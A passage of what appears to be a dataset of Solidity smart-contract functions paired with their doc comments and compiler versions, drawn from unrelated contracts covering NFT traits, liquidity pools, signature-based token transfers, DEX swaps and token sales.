Returns the sequence for a given tokenId\n * @dev Deterministic based on tokenId and seedNumber from lobsterBeachClub\n * @dev One trait is selected and appended to sequence based on rarity\n * @dev Returns geneSequence of asset if tokenId is chosen for an asset\n */", "function_code": "function getGeneSequence(uint256 tokenId) public view returns (uint256 _geneSequence) {\n uint256 assetOwned = getAssetOwned(tokenId);\n if (assetOwned != 0) {\n return assetOwned;\n }\n uint256 seedNumber = lobsterBeachClub.seedNumber();\n uint256 geneSequenceSeed = uint256(keccak256(abi.encode(seedNumber, tokenId)));\n uint256 geneSequence;\n for(uint i; i < sequences.length; i++) {\n uint16 sequence = sequences[i];\n uint16[] memory rarities = traits[sequence];\n uint256 sequenceRandomValue = uint256(keccak256(abi.encode(geneSequenceSeed, i)));\n uint256 sequenceRandomResult = (sequenceRandomValue % sequenceToRarityTotals[sequence]) + 1;\n uint16 rarityCount;\n uint resultingTrait;\n for(uint j; j < rarities.length; j++) {\n uint16 rarity = rarities[j];\n rarityCount += rarity;\n if (sequenceRandomResult <= rarityCount) {\n resultingTrait = j;\n break;\n }\n }\n geneSequence += 10**(3*sequence) * resultingTrait;\n }\n return geneSequence;\n }", "version": "0.8.7"} {"comment": "/// @author Marlin\n/// @dev add functionality to forward the balance as well.", "function_code": "function() external payable {\r\n bytes32 slot = IMPLEMENTATION_SLOT;\r\n assembly {\r\n let contractLogic := sload(slot)\r\n calldatacopy(0x0, 0x0, calldatasize())\r\n let success := delegatecall(\r\n sub(gas(), 10000),\r\n contractLogic,\r\n 0x0,\r\n calldatasize(),\r\n 0,\r\n 0\r\n )\r\n let retSz := returndatasize()\r\n returndatacopy(0, 0, retSz)\r\n\r\n switch success\r\n case 0 {\r\n revert(0, retSz)\r\n }\r\n default {\r\n return(0, retSz)\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Returns the target ratio if reserveA and reserveB are 0 (for initial deposit)\n * currentRatio := (reserveA denominated in tokenB / reserveB denominated in tokenB) with decI decimals\n */", "function_code": "function currentRatio(\n IEPool.Tranche memory t,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns(uint256) {\n if (t.reserveA == 0 || t.reserveB == 0) {\n if (t.reserveA == 0 && t.reserveB == 0) return t.targetRatio;\n if (t.reserveA == 0) return 0;\n if (t.reserveB == 0) return type(uint256).max;\n }\n return ((t.reserveA * rate / sFactorA) * sFactorI) / (t.reserveB * sFactorI / sFactorB);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Returns the deviation of reserveA and reserveB from target ratio\n * currentRatio > targetRatio: release TokenA liquidity and add TokenB liquidity\n * currentRatio < targetRatio: add TokenA liquidity and release TokenB liquidity\n * deltaA := abs(t.reserveA, (t.reserveB / rate * t.targetRatio)) / (1 + t.targetRatio)\n * deltaB := deltaA * rate\n */", "function_code": "function trancheDelta(\n IEPool.Tranche memory t,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange) {\n rChange = (currentRatio(t, rate, sFactorA, sFactorB) < t.targetRatio) ? 1 : 0;\n deltaA = (\n Math.abs(t.reserveA, tokenAForTokenB(t.reserveB, t.targetRatio, rate, sFactorA, sFactorB)) * sFactorA\n ) / (sFactorA + (t.targetRatio * sFactorA / sFactorI));\n // (convert to TokenB precision first to avoid altering deltaA)\n deltaB = ((deltaA * sFactorB / sFactorA) * rate) / sFactorI;\n // round to 0 in case of rounding errors\n if (deltaA == 0 || deltaB == 0) (deltaA, deltaB, rChange) = (0, 0, 0);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Returns the sum of the tranches reserve deltas\n */", "function_code": "function delta(\n IEPool.Tranche[] memory ts,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) {\n uint256 totalReserveA;\n int256 totalDeltaA;\n int256 totalDeltaB;\n for (uint256 i = 0; i < ts.length; i++) {\n totalReserveA += ts[i].reserveA;\n (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta(\n ts[i], rate, sFactorA, sFactorB\n );\n (totalDeltaA, totalDeltaB) = (_rChange == 0)\n ? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB))\n : (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB));\n\n }\n if (totalDeltaA > 0 && totalDeltaB < 0) {\n (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1);\n } else if (totalDeltaA < 0 && totalDeltaB > 0) {\n (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0);\n }\n rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA;\n }", "version": "0.8.1"} {"comment": "/**\n * @dev Set geneSequences of assets available\n * @dev Used as 1 of 1s or 1 of Ns (N being same geneSequence repeated N times)\n */", "function_code": "function setAssets(uint16[] memory _assets) public onlyOwner {\n uint256 maxSupply = lobsterBeachClub.maxSupply();\n require(_assets.length <= maxSupply, \"You cannot supply more assets than max supply\");\n for (uint i; i < _assets.length; i++) {\n require(_assets[i] > 0 && _assets[i] < 1000, \"Asset id must be between 1 and 999\");\n }\n assets = _assets;\n }", "version": "0.8.7"} {"comment": "/**\n * @notice how much EToken can be issued, redeemed for amountA and amountB\n * initial issuance / last redemption: sqrt(amountA * amountB)\n * subsequent issuances / non nullifying redemptions: claim on reserve * EToken total supply\n */", "function_code": "function eTokenForTokenATokenB(\n IEPool.Tranche memory t,\n uint256 amountA,\n uint256 amountB,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal view returns (uint256) {\n uint256 amountsA = totalA(amountA, amountB, rate, sFactorA, sFactorB);\n if (t.reserveA + t.reserveB == 0) {\n return (Math.sqrt((amountsA * t.sFactorE / sFactorA) * t.sFactorE));\n }\n uint256 reservesA = totalA(t.reserveA, t.reserveB, rate, sFactorA, sFactorB);\n uint256 share = ((amountsA * t.sFactorE / sFactorA) * t.sFactorE) / (reservesA * t.sFactorE / sFactorA);\n return share * t.eToken.totalSupply() / t.sFactorE;\n }", "version": "0.8.1"} {"comment": "/**\r\n * Utility internal function used to safely transfer `value` tokens `from` -> `to`. Throws if transfer is impossible.\r\n * @param from - account to make the transfer from\r\n * @param to - account to transfer `value` tokens to\r\n * @param value - tokens to transfer to account `to`\r\n */", "function_code": "function internalTransfer (address from, address to, uint value) internal {\r\n require(to != address(0x0)); // Prevent people from accidentally burning their tokens\r\n balanceOf[from] = balanceOf[from].sub(value);\r\n balanceOf[to] = balanceOf[to].add(value);\r\n emit Transfer(from, to, value);\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Utility internal function used to safely transfer `value1` tokens `from` -> `to1`, and `value2` tokens\r\n * `from` -> `to2`, minimizing gas usage (calling `internalTransfer` twice is more expensive). Throws if\r\n * transfers are impossible.\r\n * @param from - account to make the transfer from\r\n * @param to1 - account to transfer `value1` tokens to\r\n * @param value1 - tokens to transfer to account `to1`\r\n * @param to2 - account to transfer `value2` tokens to\r\n * @param value2 - tokens to transfer to account `to2`\r\n */", "function_code": "function internalDoubleTransfer (address from, address to1, uint value1, address to2, uint value2) internal {\r\n require(to1 != address(0x0) && to2 != address(0x0)); // Prevent people from accidentally burning their tokens\r\n balanceOf[from] = balanceOf[from].sub(value1.add(value2));\r\n balanceOf[to1] = balanceOf[to1].add(value1);\r\n emit Transfer(from, to1, value1);\r\n if (value2 > 0) {\r\n balanceOf[to2] = balanceOf[to2].add(value2);\r\n emit Transfer(from, to2, value2);\r\n }\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Utility costly function to encode bytes HEX representation as string.\r\n * @param sig - signature as bytes32 to represent as string\r\n */", "function_code": "function hexToString (bytes32 sig) internal pure returns (bytes memory) {\r\n bytes memory str = new bytes(64);\r\n for (uint8 i = 0; i < 32; ++i) {\r\n str[2 * i] = byte((uint8(sig[i]) / 16 < 10 ? 48 : 87) + uint8(sig[i]) / 16);\r\n str[2 * i + 1] = byte((uint8(sig[i]) % 16 < 10 ? 48 : 87) + (uint8(sig[i]) % 16));\r\n }\r\n return str;\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * This function distincts transaction signer from transaction executor. It allows anyone to transfer tokens\r\n * from the `from` account by providing a valid signature, which can only be obtained from the `from` account\r\n * owner.\r\n * Note that passed parameter sigId is unique and cannot be passed twice (prevents replay attacks). When there's\r\n * a need to make signature once again (because the first one is lost or whatever), user should sign the message\r\n * with the same sigId, thus ensuring that the previous signature can't be used if the new one passes.\r\n * Use case: the user wants to send some tokens to another user or smart contract, but don't have Ether to do so.\r\n * @param from - the account giving its signature to transfer `value` tokens to `to` address\r\n * @param to - the account receiving `value` tokens\r\n * @param value - the value in tokens to transfer\r\n * @param fee - a fee to pay to `feeRecipient`\r\n * @param feeRecipient - account which will receive fee\r\n * @param deadline - until when the signature is valid\r\n * @param sigId - signature unique ID. Signatures made with the same signature ID cannot be submitted twice\r\n * @param sig - signature made by `from`, which is the proof of `from`'s agreement with the above parameters\r\n * @param sigStd - chosen standard for signature validation. The signer must explicitly tell which standard they use\r\n */", "function_code": "function transferViaSignature ( \t\t \t \t\t\t\t \t \t \t\t \t\t\t \t\t \t \t \t\t \t \t\t \t\t \t \t \t\t\t \t \t\t \t \t \t\t\t \t\t\t \t \t\t \t \t\t\r\n address from,\r\n address to,\r\n uint256 value,\r\n uint256 fee,\r\n address feeRecipient,\r\n uint256 deadline,\r\n uint256 sigId,\r\n bytes calldata sig,\r\n sigStandard sigStd\r\n ) external returns (bool) {\r\n requireSignature(\r\n keccak256(abi.encodePacked(address(this), from, to, value, fee, feeRecipient, deadline, sigId)),\r\n from, deadline, sigId, sig, sigStd, sigDestination.transfer\r\n );\r\n internalDoubleTransfer(from, to, value, feeRecipient, fee);\r\n return true;\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Same as `transferViaSignature`, but for `approve`.\r\n * Use case: the user wants to set an allowance for the smart contract or another user without having Ether on\r\n * their balance.\r\n * @param from - the account to approve withdrawal from, which signed all below parameters\r\n * @param spender - the account allowed to withdraw tokens from `from` address\r\n * @param value - the value in tokens to approve to withdraw\r\n * @param fee - a fee to pay to `feeRecipient`\r\n * @param feeRecipient - account which will receive fee\r\n * @param deadline - until when the signature is valid\r\n * @param sigId - signature unique ID. Signatures made with the same signature ID cannot be submitted twice\r\n * @param sig - signature made by `from`, which is the proof of `from`'s agreement with the above parameters\r\n * @param sigStd - chosen standard for signature validation. The signer must explicitly tell which standard they use\r\n */", "function_code": "function approveViaSignature (\r\n address from,\r\n address spender,\r\n uint256 value,\r\n uint256 fee,\r\n address feeRecipient,\r\n uint256 deadline,\r\n uint256 sigId,\r\n bytes calldata sig,\r\n sigStandard sigStd\r\n ) external returns (bool) {\r\n requireSignature(\r\n keccak256(abi.encodePacked(address(this), from, spender, value, fee, feeRecipient, deadline, sigId)),\r\n from, deadline, sigId, sig, sigStd, sigDestination.approve\r\n );\r\n allowance[from][spender] = value;\r\n emit Approval(from, spender, value);\r\n internalTransfer(from, feeRecipient, fee);\r\n return true;\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Same as `transferViaSignature`, but for `transferFrom`.\r\n * Use case: the user wants to withdraw tokens from a smart contract or another user who allowed the user to\r\n * do so. Important note: the fee is subtracted from the `value`, and `to` address receives `value - fee`.\r\n * @param signer - the address allowed to call transferFrom, which signed all below parameters\r\n * @param from - the account to make withdrawal from\r\n * @param to - the address of the recipient\r\n * @param value - the value in tokens to withdraw\r\n * @param fee - a fee to pay to `feeRecipient`\r\n * @param feeRecipient - account which will receive fee\r\n * @param deadline - until when the signature is valid\r\n * @param sigId - signature unique ID. Signatures made with the same signature ID cannot be submitted twice\r\n * @param sig - signature made by `from`, which is the proof of `from`'s agreement with the above parameters\r\n * @param sigStd - chosen standard for signature validation. The signer must explicitly tell which standard they use\r\n */", "function_code": "function transferFromViaSignature (\r\n address signer,\r\n address from,\r\n address to,\r\n uint256 value,\r\n uint256 fee,\r\n address feeRecipient,\r\n uint256 deadline,\r\n uint256 sigId,\r\n bytes calldata sig,\r\n sigStandard sigStd\r\n ) external returns (bool) { \t\t \t \t\t\t\t \t \t \t\t \t\t\t \t\t \t \t \t\t \t \t\t \t\t \t \t \t\t\t \t \t\t \t \t \t\t\t \t\t\t \t \t\t \t \t\t\r\n requireSignature(\r\n keccak256(abi.encodePacked(address(this), from, to, value, fee, feeRecipient, deadline, sigId)),\r\n signer, deadline, sigId, sig, sigStd, sigDestination.transferFrom\r\n );\r\n allowance[from][signer] = allowance[from][signer].sub(value);\r\n internalDoubleTransfer(from, to, value.sub(fee), feeRecipient, fee);\r\n return true;\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * Same as `approveViaSignature`, but for `approveAndCall`.\r\n * Use case: the user wants to send tokens to the smart contract and pass additional data within one transaction.\r\n * @param fromAddress - the account to approve withdrawal from, which signed all below parameters\r\n * @param spender - the account allowed to withdraw tokens from `from` address (in this case, smart contract only)\r\n * @param value - the value in tokens to approve to withdraw\r\n * @param extraData - additional data to pass to the `spender` smart contract\r\n * @param fee - a fee to pay to `feeRecipient`\r\n * @param feeRecipient - account which will receive fee\r\n * @param deadline - until when the signature is valid\r\n * @param sigId - signature unique ID. Signatures made with the same signature ID cannot be submitted twice\r\n * @param sig - signature made by `from`, which is the proof of `from`'s agreement with the above parameters\r\n * @param sigStd - chosen standard for signature validation. The signer must explicitly tell which standard they use\r\n */", "function_code": "function approveAndCallViaSignature (\r\n address fromAddress,\r\n address spender,\r\n uint256 value,\r\n bytes calldata extraData,\r\n uint256 fee,\r\n address feeRecipient,\r\n uint256 deadline,\r\n uint256 sigId,\r\n bytes calldata sig,\r\n sigStandard sigStd\r\n ) external returns (bool) {\r\n requireSignature(\r\n keccak256(abi.encodePacked(address(this), fromAddress, spender, value, extraData, fee, feeRecipient, deadline, sigId)), fromAddress, deadline, sigId, sig, sigStd, sigDestination.approveAndCall);\r\n allowance[fromAddress][spender] = value;\r\n emit Approval(fromAddress, spender, value);\r\n tokenRecipient(spender).receiveApproval(fromAddress, value, address(this), extraData);\r\n internalTransfer(fromAddress, feeRecipient, fee);\r\n return true;\r\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Deterministically decides which tokenIds of maxSupply from lobsterBeachClub will receive each asset\n * @dev Determination is based on seedNumber\n * @dev To prevent from tokenHolders knowing which section of tokenIds are more likely to receive an asset\n * the direction which assets are chosen from 0 or maxSupply is also deterministic on the seedNumber\n */", "function_code": "function getAssetOwned(uint256 tokenId) public view returns (uint16 assetId) {\n uint256 maxSupply = lobsterBeachClub.maxSupply();\n uint256 seedNumber = lobsterBeachClub.seedNumber();\n uint256 totalDistance = maxSupply;\n uint256 direction = seedNumber % 2;\n for (uint i; i < assets.length; i++) {\n uint256 difference = totalDistance / (assets.length - i);\n uint256 assetSeed = uint256(keccak256(abi.encode(seedNumber, i)));\n uint256 distance = (assetSeed % difference) + 1;\n totalDistance -= distance;\n if ((direction == 0 && totalDistance == tokenId) || (direction == 1 && (maxSupply - totalDistance - 1 == tokenId))) {\n return assets[i];\n }\n }\n return 0;\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Given amountA, which amountB is required such that amountB / amountA is equal to the ratio\n * amountB := amountAInTokenB / ratio\n */", "function_code": "function tokenBForTokenA(\n uint256 amountA,\n uint256 ratio,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns(uint256) {\n return (((amountA * sFactorI / sFactorA) * rate) / ratio) * sFactorB / sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Constructor that gives msg.sender all of existing tokens.\r\n */", "function_code": "function PSIToken() public {\r\n totalSupply = INITIAL_SUPPLY;\r\n \r\n\r\n //Round A Investors 15%\r\n balances[0xa801fcD3CDf65206F567645A3E8c4537739334A2] = 150000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender, 0xa801fcD3CDf65206F567645A3E8c4537739334A2, 150000000 * (10 ** uint256(decimals)));\r\n\r\n //Presales Mining 35% \r\n balances[0xE95aaFA9286337c89746c97fFBD084aD90AFF8Df] = 350000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender,0xE95aaFA9286337c89746c97fFBD084aD90AFF8Df, 350000000 * (10 ** uint256(decimals)));\r\n\r\n \r\n //Community 10%\r\n balances[0xDCe73461af69C315B87dbb015F3e1341294d72c7] = 100000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender, 0xDCe73461af69C315B87dbb015F3e1341294d72c7, 100000000 * (10 ** uint256(decimals)));\r\n\r\n //Platform Sales 23%\r\n balances[0x0d5A4EBbC1599006fdd7999F0e1537b3e60f0dc0] = 230000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender, 0x0d5A4EBbC1599006fdd7999F0e1537b3e60f0dc0, 230000000 * (10 ** uint256(decimals)));\r\n\r\n //Core Teams 12% \r\n balances[0x63de19f0028F8402264052D9163AC66ca0c8A26c] = 120000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender,0x63de19f0028F8402264052D9163AC66ca0c8A26c, 120000000 * (10 ** uint256(decimals)));\r\n\r\n \r\n //Expense 3%\r\n balances[0x403121629cfa4fC39aAc8Bf331AD627B31AbCa29] = 30000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender, 0x403121629cfa4fC39aAc8Bf331AD627B31AbCa29, 30000000 * (10 ** uint256(decimals)));\r\n\r\n\r\n //Bounty 2%\r\n balances[0xBD1acB661e8211EE462114d85182560F30BE7A94] = 20000000 * (10 ** uint256(decimals));\r\n emit Transfer(msg.sender, 0xBD1acB661e8211EE462114d85182560F30BE7A94, 20000000 * (10 ** uint256(decimals)));\r\n\r\n \r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Return the total value of amountA and amountB denominated in TokenA\n * totalA := amountA + (amountB / rate)\n */", "function_code": "function totalA(\n uint256 amountA,\n uint256 amountB,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns (uint256 _totalA) {\n return amountA + ((((amountB * sFactorI / sFactorB) * sFactorI) / rate) * sFactorA) / sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Return the total value of amountA and amountB denominated in TokenB\n * totalB := amountB + (amountA * rate)\n */", "function_code": "function totalB(\n uint256 amountA,\n uint256 amountB,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns (uint256 _totalB) {\n return amountB + ((amountA * rate / sFactorA) * sFactorB) / sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Return the withdrawal fee for a given amount of TokenA and TokenB\n * feeA := amountA * feeRate\n * feeB := amountB * feeRate\n */", "function_code": "function feeAFeeBForTokenATokenB(\n uint256 amountA,\n uint256 amountB,\n uint256 feeRate\n ) internal pure returns (uint256 feeA, uint256 feeB) {\n feeA = amountA * feeRate / EPoolLibrary.sFactorI;\n feeB = amountB * feeRate / EPoolLibrary.sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\n * @param oToken opyn put option\n * @param _oTokenPayment USDC required for purchasing oTokens\n * @param _maxPayment in ETH for purchasing USDC; caps slippage\n * @param _0xFee 0x protocol fee. Any extra is refunded\n * @param _0xSwapData 0x swap encoded data\n */", "function_code": "function _mint(\n address oToken,\n uint _opeth,\n uint _oTokenPayment,\n uint _maxPayment,\n uint _0xFee,\n bytes calldata _0xSwapData\n ) internal {\n // Swap ETH for USDC (for purchasing oToken)\n Uni(uni).swapETHForExactTokens{value: _maxPayment}(\n _oTokenPayment,\n path,\n address(this),\n now\n );\n\n // Purchase oToken\n (bool success,) = exchange.call{value: _0xFee}(_0xSwapData);\n require(success, \"SWAP_CALL_FAILED\");\n\n opeth.mintFor(msg.sender, oToken, _opeth);\n\n // refund dust eth, if any\n safeTransferETH(msg.sender, address(this).balance);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Claims/mints an NFT token if the sender is eligible to claim via the merkle proof.\n */", "function_code": "function claim(bytes32[] memory proof) external {\n require(_root != 0, 'merkle root not set');\n\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\n require(verify(proof, _root, leaf), 'sender not eligible to claim');\n\n require(!_claimed[msg.sender], 'already claimed');\n _claimed[msg.sender] = true;\n\n // We cannot just use balanceOf to create the new tokenId because tokens\n // can be burned (destroyed), so we need a separate counter.\n _mint(msg.sender, _nextId.current());\n _nextId.increment();\n }", "version": "0.8.7"} {"comment": "// msg.value = amountETH + oracle fee", "function_code": "function addLiquidity(\n address token,\n uint amountETH,\n uint amountToken,\n uint liquidityMin,\n address to,\n uint deadline\n ) external override payable ensure(deadline) returns (uint liquidity)\n {\n // create the pair if it doesn't exist yet\n if (ICoFiXFactory(factory).getPair(token) == address(0)) {\n ICoFiXFactory(factory).createPair(token);\n }\n require(msg.value > amountETH, \"CRouter: insufficient msg.value\");\n uint256 _oracleFee = msg.value.sub(amountETH);\n address pair = pairFor(factory, token);\n if (amountToken > 0 ) { // support for tokens which do not allow to transfer zero values\n TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);\n }\n if (amountETH > 0) {\n IWETH(WETH).deposit{value: amountETH}();\n assert(IWETH(WETH).transfer(pair, amountETH));\n }\n uint256 oracleFeeChange;\n (liquidity, oracleFeeChange) = ICoFiXPair(pair).mint{value: _oracleFee}(to);\n require(liquidity >= liquidityMin, \"CRouter: less liquidity than expected\");\n // refund oracle fee to msg.sender, if any\n if (oracleFeeChange > 0) TransferHelper.safeTransferETH(msg.sender, oracleFeeChange);\n }", "version": "0.6.12"} {"comment": "// msg.value = oracle fee", "function_code": "function removeLiquidityGetToken(\n address token,\n uint liquidity,\n uint amountTokenMin,\n address to,\n uint deadline\n ) external override payable ensure(deadline) returns (uint amountToken)\n {\n require(msg.value > 0, \"CRouter: insufficient msg.value\");\n address pair = pairFor(factory, token);\n ICoFiXPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair\n uint oracleFeeChange; \n (amountToken, oracleFeeChange) = ICoFiXPair(pair).burn{value: msg.value}(token, to);\n require(amountToken >= amountTokenMin, \"CRouter: got less than expected\");\n // refund oracle fee to msg.sender, if any\n if (oracleFeeChange > 0) TransferHelper.safeTransferETH(msg.sender, oracleFeeChange);\n }", "version": "0.6.12"} {"comment": "// msg.value = amountIn + oracle fee", "function_code": "function swapExactETHForTokens(\n address token,\n uint amountIn,\n uint amountOutMin,\n address to,\n address rewardTo,\n uint deadline\n ) external override payable ensure(deadline) returns (uint _amountIn, uint _amountOut)\n {\n require(msg.value > amountIn, \"CRouter: insufficient msg.value\");\n IWETH(WETH).deposit{value: amountIn}();\n address pair = pairFor(factory, token);\n assert(IWETH(WETH).transfer(pair, amountIn));\n uint oracleFeeChange; \n uint256[4] memory tradeInfo;\n (_amountIn, _amountOut, oracleFeeChange, tradeInfo) = ICoFiXPair(pair).swapWithExact{\n value: msg.value.sub(amountIn)}(token, to);\n require(_amountOut >= amountOutMin, \"CRouter: got less than expected\");\n\n // distribute trading rewards - CoFi!\n address vaultForTrader = ICoFiXFactory(factory).getVaultForTrader();\n if (tradeInfo[0] > 0 && rewardTo != address(0) && vaultForTrader != address(0)) {\n ICoFiXVaultForTrader(vaultForTrader).distributeReward(pair, tradeInfo[0], tradeInfo[1], tradeInfo[2], tradeInfo[3], rewardTo);\n }\n\n // refund oracle fee to msg.sender, if any\n if (oracleFeeChange > 0) TransferHelper.safeTransferETH(msg.sender, oracleFeeChange);\n }", "version": "0.6.12"} {"comment": "// msg.value = amountInMax + oracle fee", "function_code": "function swapETHForExactTokens(\n address token,\n uint amountInMax,\n uint amountOutExact,\n address to,\n address rewardTo,\n uint deadline\n ) external override payable ensure(deadline) returns (uint _amountIn, uint _amountOut)\n {\n require(msg.value > amountInMax, \"CRouter: insufficient msg.value\");\n IWETH(WETH).deposit{value: amountInMax}();\n address pair = pairFor(factory, token);\n assert(IWETH(WETH).transfer(pair, amountInMax));\n uint oracleFeeChange;\n uint256[4] memory tradeInfo;\n (_amountIn, _amountOut, oracleFeeChange, tradeInfo) = ICoFiXPair(pair).swapForExact{\n value: msg.value.sub(amountInMax) }(token, amountOutExact, to);\n // assert amountOutExact equals with _amountOut\n require(_amountIn <= amountInMax, \"CRouter: spend more than expected\");\n\n // distribute trading rewards - CoFi!\n address vaultForTrader = ICoFiXFactory(factory).getVaultForTrader();\n if (tradeInfo[0] > 0 && rewardTo != address(0) && vaultForTrader != address(0)) {\n ICoFiXVaultForTrader(vaultForTrader).distributeReward(pair, tradeInfo[0], tradeInfo[1], tradeInfo[2], tradeInfo[3], rewardTo);\n }\n\n // refund oracle fee to msg.sender, if any\n if (oracleFeeChange > 0) TransferHelper.safeTransferETH(msg.sender, oracleFeeChange);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns an ordered pair (amountIn, amountOut) given the 'given' and 'calculated' amounts, and the swap kind.\n */", "function_code": "function _getAmounts(\n SwapKind kind,\n uint256 amountGiven,\n uint256 amountCalculated\n ) private pure returns (uint256 amountIn, uint256 amountOut) {\n if (kind == SwapKind.GIVEN_IN) {\n (amountIn, amountOut) = (amountGiven, amountCalculated);\n } else {\n // SwapKind.GIVEN_OUT\n (amountIn, amountOut) = (amountCalculated, amountGiven);\n }\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Performs a swap according to the parameters specified in `request`, calling the Pool's contract hook and\n * updating the Pool's balance.\n *\n * Returns the amount of tokens going into or out of the Vault as a result of this swap, depending on the swap kind.\n */", "function_code": "function _swapWithPool(IPoolSwapStructs.SwapRequest memory request)\n private\n returns (\n uint256 amountCalculated,\n uint256 amountIn,\n uint256 amountOut\n )\n {\n // Get the calculated amount from the Pool and update its balances\n address pool = _getPoolAddress(request.poolId);\n PoolSpecialization specialization = _getPoolSpecialization(request.poolId);\n\n if (specialization == PoolSpecialization.TWO_TOKEN) {\n amountCalculated = _processTwoTokenPoolSwapRequest(request, IMinimalSwapInfoPool(pool));\n } else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {\n amountCalculated = _processMinimalSwapInfoPoolSwapRequest(request, IMinimalSwapInfoPool(pool));\n } else {\n // PoolSpecialization.GENERAL\n amountCalculated = _processGeneralPoolSwapRequest(request, IGeneralPool(pool));\n }\n\n (amountIn, amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);\n emit Swap(request.poolId, request.tokenIn, request.tokenOut, amountIn, amountOut);\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Calls the onSwap hook for a Pool that implements IMinimalSwapInfoPool: both Minimal Swap Info and Two Token\n * Pools do this.\n */", "function_code": "function _callMinimalSwapInfoPoolOnSwapHook(\n IPoolSwapStructs.SwapRequest memory request,\n IMinimalSwapInfoPool pool,\n bytes32 tokenInBalance,\n bytes32 tokenOutBalance\n )\n internal\n returns (\n bytes32 newTokenInBalance,\n bytes32 newTokenOutBalance,\n uint256 amountCalculated\n )\n {\n uint256 tokenInTotal = tokenInBalance.total();\n uint256 tokenOutTotal = tokenOutBalance.total();\n request.lastChangeBlock = Math.max(tokenInBalance.lastChangeBlock(), tokenOutBalance.lastChangeBlock());\n\n // Perform the swap request callback, and compute the new balances for 'token in' and 'token out' after the swap\n amountCalculated = pool.onSwap(request, tokenInTotal, tokenOutTotal);\n (uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);\n\n newTokenInBalance = tokenInBalance.increaseCash(amountIn);\n newTokenOutBalance = tokenOutBalance.decreaseCash(amountOut);\n }", "version": "0.7.1"} {"comment": "//accept ether", "function_code": "function() payable public {\r\n require(!paused);\r\n address _user=msg.sender;\r\n uint256 tokenValue;\r\n if(msg.value==0){//\u7a7a\u6295\r\n require(airdropQty>0);\r\n require(airdropTotalQty>=airdropQty);\r\n require(airdropOf[_user]==0);\r\n tokenValue=airdropQty*10**uint256(decimals);\r\n airdropOf[_user]=tokenValue;\r\n airdropTotalQty-=airdropQty;\r\n require(_generateTokens(_user, tokenValue));\r\n Payment(_user, msg.value, tokenValue);\r\n }else{\r\n require(msg.value >= minFunding);//\u6700\u4f4e\u8d77\u6295\r\n require(msg.value % 1 ether==0);//\u53ea\u80fd\u6295\u6574\u6570\u500deth\r\n totalCollected +=msg.value;\r\n require(vaultAddress.send(msg.value));//Send the ether to the vault\r\n tokenValue = (msg.value/1 ether)*(tokensPerEther*10 ** uint256(decimals));\r\n require(_generateTokens(_user, tokenValue));\r\n uint256 lock1 = tokenValue / 5;\r\n require(_freeze(_user, lock1, 0));\r\n _freeze(_user, lock1, 1);\r\n _freeze(_user, lock1, 2);\r\n _freeze(_user, lock1, 3);\r\n Payment(_user, msg.value, tokenValue);\r\n }\r\n }", "version": "0.4.20"} {"comment": "// Cancel limits", "function_code": "function cancelBuy() public { // Cancels the buy order using Ether\r\n require(account[msg.sender].etherOrder > 0);\r\n for (uint256 i = account[msg.sender].etherOrderIndex; i < (etherOrders.length - 1); i++) {\r\n etherOrders[i] = etherOrders[i+1];\r\n }\r\n etherOrders.length -= 1;\r\n account[msg.sender].etherOrder = 0;\r\n }", "version": "0.5.11"} {"comment": "// Send Market Orders", "function_code": "function sendMarketSells(uint256[] memory amounts, uint256 limit) public {\r\n uint256 amount = amounts.length;\r\n for (uint i = 0; i < amount; i++) {\r\n marketSell(amounts[i]);\r\n }\r\n if (limit > 0) {\r\n limitSell(limit);\r\n }\r\n }", "version": "0.5.11"} {"comment": "// Call each", "function_code": "function marketBuy(uint256 amount) public {\r\n require(account[tokenOrders[usedTokenOrders]].tokenOrder >= ((amount * (10 ** tokenDecimals)) / tokenPrice)); // Buy amount is not too big\r\n require(account[msg.sender].etherBalance 